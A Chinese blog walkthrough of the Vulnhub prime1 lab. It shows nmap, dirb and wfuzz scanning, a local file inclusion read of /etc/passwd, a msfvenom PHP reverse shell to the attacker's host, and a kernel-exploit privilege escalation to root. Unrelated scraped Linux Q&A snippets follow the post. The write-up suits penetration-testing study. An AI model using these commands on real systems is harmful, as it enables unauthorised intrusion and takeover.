一次prime1靶场红队渗透实战,从主机发现到Linux内核漏洞提权

2023-11-17

前言

        相比于如DVWA、pikachu等靶场,完整系统的靶场更突出一个“无目的性”和“复杂性”,就好似一个密室逃脱游戏,存在着离谱的漏洞也存在着奇怪的提示。但是真实的渗透测试就是一个无目的的过程。当你在迷宫中走一遭,那么当你下一次遇见复杂的路况时候就不会晕头转向

     

环境部署:本机vmwarm虚拟机Nat模式部署,靶机 prime1 下载地址:https://www.vulnhub.com  攻击机:kali。

技术涉及: namp端口和存活主机扫描  , dir目录扫描, FUZZ参数扫描 , MSF反弹连接,LINUX内核提权        

重点:重点在于二、三、五章节,主要论述了扫描和在发现文件上传漏洞之后利用linux内核漏洞提权的过程,和思路、工具的利用。

目录

前言:

一、端口发现

1、namp存活主机扫描

2、nmap端口扫描

 二、目录扫描

 1、dirb目录扫描

2、dirb扫描文件

 3、页面信息收集

三、FUZZ参数目录扫描

1、对上图图1路径FUZZ扫描参数

2、对图2路径FUZZ扫描参数

 四、文件包含漏洞

1、利用本地文件包含漏洞

2、本地文件包含漏洞读取linux密码文件

五、Linux内核漏洞提权(重点)

1、MSF构造php反弹连接木马

 2、MSF钓鱼监听

3、信息收集

 4、编译执行文件

 5、上传和文件提权

 6、linux内核漏洞提权


一、端口发现

1、namp存活主机扫描

        使用namp扫描原因:部署在本机的prime1并没配置静态ip地址,因此使用nmap扫描C类网段查看存活主机

nmap -sP 192.168.159.1/24

-sP  :使用ping的方式扫描,相比于-sT扫描,省去了tcp握手,速度较快,适合端口发现。

 如下图所示,扫描出了4个存活主机,其中159.1是本机,159.2是centos,159.138是kali,因此猜测159.139是靶机。并使用端口扫描验证

eb509c4849084355a4e63a67bbf271f1.jpeg

2、nmap端口扫描

nmap -P 1-65535 192.168.159.139

此处也可以使用:nmap -P- 192.168.159.139 扫描端口

扫描结果中发现了两个开放端口,ssh服务的22端口和thhp服务的80端口。9110d11dad304d8c9341e5ed1855edc4.jpeg

 二、目录扫描

为什么要进行目录扫描?

答:根据上一步所示扫描出了http服务端口80之后想到的一定是使用浏览器访问试一试,但是浏览器访问时候却发现是空白页面。

访问该空白页面时候的报错信息是直接弹出的,这说明了:1、ip和端口开放 2、缺少访问路径
ac40c7797e884f459e323e4f329b2281.jpeg

 1、dirb目录扫描

        dirb和dirsearch都是目录扫描工具,区别在于前者可以指定字典轻度扫描,后者是深度扫描。

在扫描速度上:  dirb>dirsearch

在扫描深度上: dirb<dirsearch1388cbaf10094f7ab3514730e59d47fb.jpeg

2、dirb扫描文件

dirb http://192.168.159.139 -X .txt,.php,.zip

-X : 在默认的字典的每个单词后都分别加上 .txt .php .zip尝试

deaf77d1ea46472b8c0b05458f4da512.jpeg

 3、依次页面访问与信息收集

本节内容是对访问到的页面访问,可粗略阅读即可)

        对得到的数据进行访问是很重要的,可以收集到很多数据。打开发现的页面不关闭它是一个良好的习惯。   

        当扫描出了这么多个文件夹和页面当然要挨个访问试试。于是我挨个对页面访问。但是并没有想象的那么简单。

388747ef5b664298b8cd53e5ec6b9fa3.png

        图1:http://192.168.159.139/wordpress/wp-content/index.php 
d89ebe1a057748fda145c8cf7ff64ba8.png 图2 :http://192.168.159.139/index.php

3f46cf68d37e46c89e8d7eb52cebde19.png

图3 http://192.168.159.139/wordpress/wp-login.php4225a587a75f42fba3c7531afec0d9f3.png

图4 :http://192.168.159.139/wordpress/

b02afc4c9b3d48aaaa75d467611ad01b.png

                                图5 http://192.168.159.139/secret.txt

剩下的几个路径就不在这里一一展示了,他们有的是图片目录,有的是一段赞赏的话,有的是一段嘲讽的话,当我最后完成靶场时候发现那些路径都是没用的。

到了这一步,希望你也能思考一下,打开了这么多页面之后切入点是什么,该利用哪一点?

(打开你所发现的页面不关闭是一个好习惯)

三、FUZZ参数目录扫描

疑问:为什么会想到此处应该使用参数扫描?

答案1、上节虽然发现很多页面和输入框,但是并没有什么实质性作用。反而对于php结尾存在空白页面,第一时间应该想到是不是缺少参数了?

            2、 图5的提示

           

1、对上图图1路径FUZZ扫描参数

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.159.139/wordpress/wp-admin/index.php?FUZZ

-w :指定字典

FUZZ :占位符

FUZZ扫描结果:如下图一共扫描了950个参数,但是并没有任何回复,判断此页面确实不存在参数,因放弃此页面的FUZZ扫描

e4317f53f42a43edb4e3d439b635e112.jpeg

2、对图2路径FUZZ扫描参数

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.159.139/index.php?FUZZ

 62cdbece75174865a9b3aee18ad99af2.jpeg

 共950个有效结果(上图没展示完毕)

对上图结果过滤: 过滤掉一般项,找出特殊结果。

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.159.139/index.php?FUZZ

--h w 12: 过滤掉单词长度为12的回复,此处的h是“handler”  w是“word”

这句代码作用同上。  wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.159.139/index.php?FUZZ

过滤代码 ↑ 执行结果 ↓

34c596137ce745639bc5b7fae71e7425.jpeg截止目前,我们已经发现了一个页面,而且其中有参数file,好像是一个本地文件包含的函数,如果能找到任何的文件和路径,可能能将其打开。

 四、文件包含漏洞

疑问:为什么想到了文件包含?

答案:上一步中发现了参数file,我在发现的时候第一时间就尝试读取 /etc/passwd  看看能不能找到图3的账号密码,但是显示无权限打开。

        反而是图5中有一个提示“存在一个location.txt的文件”

1、利用本地文件包含漏洞

2d5f7067d24f4a6181df46f194a31a3b.jpeg

“使用secrettier360参数在其他的php页面使用”,原来为什么之前我们使用字典扫描图1的php参数扫描不出来,原来是参数太复杂了。

2、本地文件包含漏洞读取linux密码文件

前言:linux的核心思想是“一切视为文件”,它的密码也被视为了一个文件,而且存储在/etc/passwd下,那么使用正确的参数,利用本地文件包含漏洞直接读取/etc/passwd 密码文件

30f6ed21664b40328aad981aa1493ea0.jpeg

 跟随提示访问路径/home.saket/password.txt,得到一个数值:follow_the_ippsec

——————————————————————————————————————————

小结:到目前为止,越来越觉得这个漏洞的挖掘像是一个“指引”,一个密室逃脱游戏,部分漏洞挖掘的时候从千奇百怪的地方入手,混乱而又奇怪。

但是到了现在这个prime1靶场的漏洞才刚刚开始,因为我们拿到的密码,和图4中暴露的账号刚好能够登陆到图3的后台!且发现了一个上传文件的地方!↓↓↓↓↓↓↓↓↓​​​​​​​↓69c8121bca294fd3bed53e1205eaaec3.jpeg

——————————————————————————————————————————

五、Linux内核漏洞提权(重点)

背景:此时使用图4暴露victor账户和挖掘到的密码登录了网站博客系统,在翻阅时候发现了一个可以上传文件的地方。考虑通过文件上传漏洞构造反弹连接从而实现提权

1、MSF构造php反弹连接木马

生成php平台的木马:

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.159.138  LPORT=8888  -f raw > shell.php

msfvenom: msf的工具,可以生成任意操作系统,语言下的反弹链接木马

(13条消息) msf生成木马_L_DC的博客-CSDN博客

LPORT:反弹链接端口

LHOST:反弹连接

eb2ff7fca31847a7b3ae18c2a5d78cd1.jpeg

 使用cat命令读取木马文件,并复制粘贴写入木马文件到网站

00bd20948c33403097786ecb9fbf8b23.png

 2、MSF钓鱼监听

msfconsole  #启动msf
use use exploit/multi/handler  #使用监听模块
set payload php/meterpreter_reverse_tcp  #构造监听payload
options                      #查看配置
set lpost 8888               #设置监听端口
set lhost  192.168.159.139   #设置监听端ip
run                          #开启监听

上述代码执行完毕之后执行url,浏览器访问如下链接,执行目标木马文件,构造反弹连接

http://192.168.159.139/wordpress/wp-content/themes/twentynineteen/secret.php

20b758a3533a4dc7af981158e96c0c17.jpeg

3、信息收集

上节的图中已经看到了接入的反弹拦截靶机linux是4.10,内核是16.04.

使用msf查找对应的漏洞​​​​​​​,发现可用的漏洞。

9e24a0cce407467ba4cca3eb6aeb432c.jpeg

 4、编译执行文件

疑问:为什么要编译?

答案:源文件是c文件,并不能直接运行,需要编译之后运行,因为不确定靶机是否有编译环境,因此在本机编译之后上传。

26d0d86d122b42ea96b03d10c53cdc01.jpeg

 5、上传和文件提权

背景:通过下图发现已经发现上传成功,但是没执行权限。

疑问:什么是文件提权?

答案:目标文件没有执行权限,只有读写权限。

753d772d689c4e3a8e4e8a05297c708e.jpeg

文件提权:

chmod +x 45010   #增加执行权限

若上述代码不可以,则执行这句话:  chomd  455 45010  给一个文件赋予所有权限

 6、linux内核漏洞提权

 meterpreter本身只是一个工具,需要切换到shell之后执行文件。951979247fb744cbae17656328a431bc.jpeg

 提权成功!root权限!

花了半天终于写完了,完成了从访问页面->获取后台管理员权限  ->  获取操作系统权限  -> 获取root权限的全过程。由于时间紧迫靠后的内容不是很详细,关键是在于思路。如有不懂欢迎留言,有空我会再补充!喜欢的话点个赞吧

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

一次prime1靶场红队渗透实战,从主机发现到Linux内核漏洞提权 的相关文章

  • Pthreads - 高内存使用率

    我正在用 C 编写一些东西 在 256Mb 系统上的 Linux 中创建大量 Pthread 我通常有 200Mb 的免费空间 当我使用少量线程运行该程序时 它可以工作 但是一旦我让它创建大约 100 个线程 它就会出现错误 因为系统内存不
  • 我想在 Red Hat Linux 服务器中执行 .ps1 powershell 脚本

    我有一个在窗口中执行的 ps1 powershell 脚本 但我的整个数据都在 Linux 服务器中 有什么可能的方法可以让我在红帽服务器中执行 powershell 脚本 powershell脚本是 Clear Host path D D
  • 对于任何真实数据集,数据压缩比的最小可能值是多少

    我在写信ZLIB类似于嵌入式硬件压缩器的 API 它使用 deflate 算法来压缩给定的输入流 在进一步讨论之前 我想解释一下数据压缩率 数据压缩率定义为未压缩大小与压缩大小之间的比率 压缩比通常大于一 这意味着压缩数据通常比未压缩数据小
  • 如何获取与 shell 中的文件名模式匹配的所有文件的总文件大小?

    我正在尝试仅使用 shell 来计算与文件名模式匹配的所有文件 在目录树中 的总大小 以字节为单位 这是我到目前为止所拥有的 find name undo exec stat c s awk 总计 1 END 打印总计 有没有更简单的方法来
  • 使用 shell 脚本发送 HTML 邮件

    如何使用 shell 脚本发送 HTML 电子邮件 首先 您需要撰写消息 最低限度由这两个标头组成 MIME Version 1 0 Content Type text html 以及适当的消息正文 p Hello world p 获得后
  • 使用脚本检查 git 分支是否领先于另一个分支

    I have branch1 and branch2我想要某种 git branch1 isahead branch2 这将显示如果branch1已承诺branch2没有 也可能指定这些提交 我无法检查差异原因branch2 is在之前br
  • 在 scapy 中通过物理环回发送数据包

    我最近发现了 Scapy 它看起来很棒 我正在尝试查看 NIC 上物理环回模块 存根上的简单流量 但是 Scapy sniff 没有给出任何结果 我正在做的发送数据包是 payload data 10 snf sniff filter ic
  • 使用 ioctl 在 C++ 中以编程方式添加路由

    我编写了简单的 C 函数 添加了新路线 void addRoute int fd socket PF INET SOCK DGRAM IPPROTO IP struct rtentry route memset route 0 sizeof
  • 在 Linux 中重新启动时,新创建的文件变为 0 kb(数据被覆盖为空)

    我遇到了一个奇怪的问题 这让我发疯 当前的任务是在 root 用户第一次登录时启动一组文件 并在同一用户第二次登录时启动另一组文件 我决定使用 profile 和 bashrc 文件 并在第一次登录期间发生的任务结束时重新加载 bashrc
  • Bash:将字符串添加到文件末尾而不换行

    如何将字符串添加到文件末尾而不换行 例如 如果我使用 gt gt 它将添加到文件末尾并换行 cat list txt yourText1 root host 37 echo yourText2 gt gt list txt root hos
  • Docker忽略limits.conf(试图解决“打开文件太多”错误)

    我正在运行一个 Web 服务器 该服务器正在处理数千个并发 Web 套接字连接 为了实现这一点 在 Debian linux 我的基本镜像是 google debian wheezy 在 GCE 上运行 上 打开文件的默认数量设置为 100
  • Python glob,操作系统,相对路径,将文件名放入列表中[重复]

    这个问题在这里已经有答案了 我正在尝试创建一个目录中所有文件的列表 其中文件名以 root 结尾 在阅读了论坛中的一些文章后 我尝试使用 glob 和 os listdir 的基本策略 但我都遇到了麻烦 首先 当我使用 import glo
  • 如何在 Linux 和 C 中使用文件作为互斥体?

    我有不同的进程同时访问 Linux 中的命名管道 并且我想让此访问互斥 我知道可以使用放置在共享内存区域中的互斥体来实现这一点 但作为一种家庭作业 我有一些限制 于是 我想到的是对文件使用锁定原语来实现互斥 我做了一些尝试 但无法使其发挥作
  • 使用 libusb 输出不正确

    我用libusb编写了一个程序 我怀疑输出是否正确 因为所有条目都显示相同的供应商和产品 ID 以下是代码 include
  • 如何从 C++ 程序中重新启动 Linux?

    我有一个 Qt 4 GUI 我需要在下拉菜单中提供一个选项 允许用户选择重新启动计算机 我意识到这对于以其他方式重新启动计算机的能力来说似乎是多余的 但选择需要保留在那里 我尝试使用 system 来调用以下内容 suid root she
  • 如何使用 JSch 将多行命令输出存储到变量中

    所以 我有一段很好的代码 我很难理解 它允许我向我的服务器发送命令 并获得一行响应 该代码有效 但我想从服务器返回多行 主要类是 JSch jSch new JSch MyUserInfo ui new MyUserInfo String
  • FileOutputStream.close() 中的设备 ioctl 不合适

    我有一些代码可以使用以下命令将一些首选项保存到文件中FileOutputStream 这是我已经写了一千遍的标准代码 FileOutputStream out new FileOutputStream file try BufferedOu
  • 在 C 中使用单个消息队列是否可以实现双向通信

    我希望服务器向客户端发送一些消息 并让客户端确认它 我被分配了这个任务 我可以在 C linux 中使用单个消息队列来完成它还是我需要创建两个 谢谢 是的 可以使用 sysV 消息队列来做到这一点 从您之前的问题来看 您正在使用该队列 您可
  • 调用 printf 系统子例程在汇编代码中输出整数错误[重复]

    这个问题在这里已经有答案了 来回 在windows7控制台窗口中运行gcc s2 asm 然后生成一个exe文件 运行a exe 然后崩溃 为什么 s2 asm 代码由以下源代码生成 int m m 1 iprint m s2 asm请参考
  • python获取上传/下载速度

    我想在我的计算机上监控上传和下载速度 一个名为 conky 的程序已经在 conky conf 中执行了以下操作 Connection quality alignr wireless link qual perc wlan0 downspe

随机推荐

  • 懂的都懂,那些好用的“WEB安全”网站

    加密解密 解码编码 MD5 https www cmd5 com 凯撒 https www qqxiuzi cn bianma kaisamima php 摩斯密码 https www jb51 net tools morse htm ht
  • pytorch:数据增广批量化(Batch Augmentation)

    数据增强通常是随机批量生产的 一般使用组合形式 即同时随机裁剪 翻转 旋转等 import torchvision transforms as transforms from PIL import Image import matplotl
  • java中int[] arr和int arr[]有什么区别

    答 是一样的 跟在变量名后面或者跟在类型后面都可以 int arr 这么写不对的 推荐 int arr 写法
  • nodejs第一个程序

    第一个nodejs程序 1 首先创建一个js文件 命名index js 可随意 然后在文件里面输入 console log Hello World 2 使用 Git Bash Here 打开index js文件 输入指令 node inde
  • Linux--信号量共享内存

    1 基础知识 1 共享内存是最快的IPC形式 一旦这样的内存映射到共享它的进程的地址空间 这些进程间的数据传递不再涉及内核 即进程不再通过执行进入内核的系统调用来传递彼此的数据 2 共享内存的生命周期随内核 3 注意 共享内存未提供任何保护
  • 如何通过代码技巧提升内存使用效率?(内存调优)

    代码层面 IO对象或者数据库的连接对象 使用好后 需要close或clear掉 try 使用Connection或IO等对象 catch Exception 异常处理 finally 关闭对象 当我们使用好对象时 应该把它设为null 这样
  • Kafka——javaAPI

    文章目录 Kafka的JavaAPI 1 未整合版的Kafka的API 1 1 Producer 消息发送端代码 1 2 Consumer 消息消费端代码 2 Spring Boot整合Kafka 2 1 发送者代码 Producer 2
  • Eclipse进行debug

    目录 基本步骤 三种执行方式 键盘快捷键 variables面板 移除debug过的项目 通过eclipse调用具有软件界面的项目进行debug 各个variable颜色具有的意义 基本步骤 点击eclipse右上角debug按钮 调出de
  • Xilinx实习一年总结

    从去年7月4号来到上海xilinx 转眼间已经一年 这一年学了很多知识 也长了很多见识 去年七月一到公司 立即投入到摄像头 DDR HDMI图像通路的研发中 就是在ZEDboard板卡上 通过外置摄像头采集图像 在PL部分将采集的像素数据进
  • 计算机符号链接是什么意思,Windows或Linux上的符号链接(符号链接)完整指南

    想要轻松地从不同的文件夹访问文件夹和文件 而不保留重复的副本 以下是如何使用Symbolic Links链接Windows 10 8 7 Vista XP和Ubuntu中的任何内容 那么什么是符号链接呢 符号链接 也称为符号链接 基本上是高
  • Python开发环境配置

    安装Anaconda Anaconda是Python的一个科学计算发行版 内置了数百个Python经常会使用的库 也包括做机器学习或数据挖掘的库 如Scikit learn NumPy SciPy和Pandas等 其中可能有一些是Tenso
  • YOLOv5行人检测

    YOLOv5行人检测 1 数据准备 1 下载数据集 2 整理出jpg和xml 2 进行YOLOV5的部署训练 1 划分数据集 2 生成yolo的txt文件 3 配置自己数据集的文件 4 聚类找anchors 5 配置模型文件 6 训练模型
  • 如何修复引导/错误代码0xc000000f

    现象 安装完系统后启动时报文件丢失 文件 okldr mbr 或者 scldr mbr 等错误 状态 0xc000000f 处理办法 1 用U盘做一个PE启动盘 可以用 U大侠 小白一键重装等 2 bios启动选项选择U盘启动 3 重启电脑
  • Mysql实战45讲 - 学习笔记

    Sql流程 一条查询语句的执行过程一般是经过连接器 分析器 优化器 执行器等功能模块 最后到达存储引擎 大体来说 MySQL 可以分为 Server 层和存储引擎层两部分 Server 层包括连接器 查询缓存 分析器 优化器 执行器等 涵盖
  • SSM框架整合layui之实现登录功能

    SSM框架整合layui之实现登录功能 代码 UserService接口 UserServiceImpl实现类 SUserMapper接口 SUserMapper xml SystemController login jsp 代码 User
  • 缓存淘汰算法 —— LFU-Aging(Java实现)

    Java实现 用HashMap保存关系 key值 命中次数与上次命中时间 当需要淘汰某个key值时 调用map remove key import java util public class LFUAgingMap
  • 决策树之ID3的matlab实现

    森林内的两条分叉路 我选择了人迹罕见的一条 从此一切变得不一样 佛洛斯特Robert Frost 目录 一 决策树介绍 1 1 相关概念 1 2 图形表示 1 3 规则表示 二 决策树的信息计算 三 ID3相关介绍 3 1 ID3算法概述
  • 超参数和验证集

    感知机是神经网络的基础 对于形式上完全相同的感知机 模型参数不同 可以实现不同的运算 因此 可以通过训练学习模型参数来形成不同的功能 这也是人工神经网络具有强大学习能力的基础 例如下图这个简单得感知机来说 模型参数取不同的值 就实现了不同的
  • 与Android对接注册接口的session会话取值为null问题

    与Android对接注册接口的session会话取值为null问题 问题 最近在改造一个springboot项目时在后端写好登录接口后 Android调用登录成功后 调用其他接口时发现获取session为null 经过swagger一番测试
  • 一次prime1靶场红队渗透实战,从主机发现到Linux内核漏洞提权

    前言 相比于如DVWA pikachu等靶场 完整系统的靶场更突出一个 无目的性 和 复杂性 就好似一个密室逃脱游戏 存在着离谱的漏洞也存在着奇怪的提示 但是真实的渗透测试就是一个无目的的过程 当你在迷宫中走一遭 那么当你下一次遇见复杂的路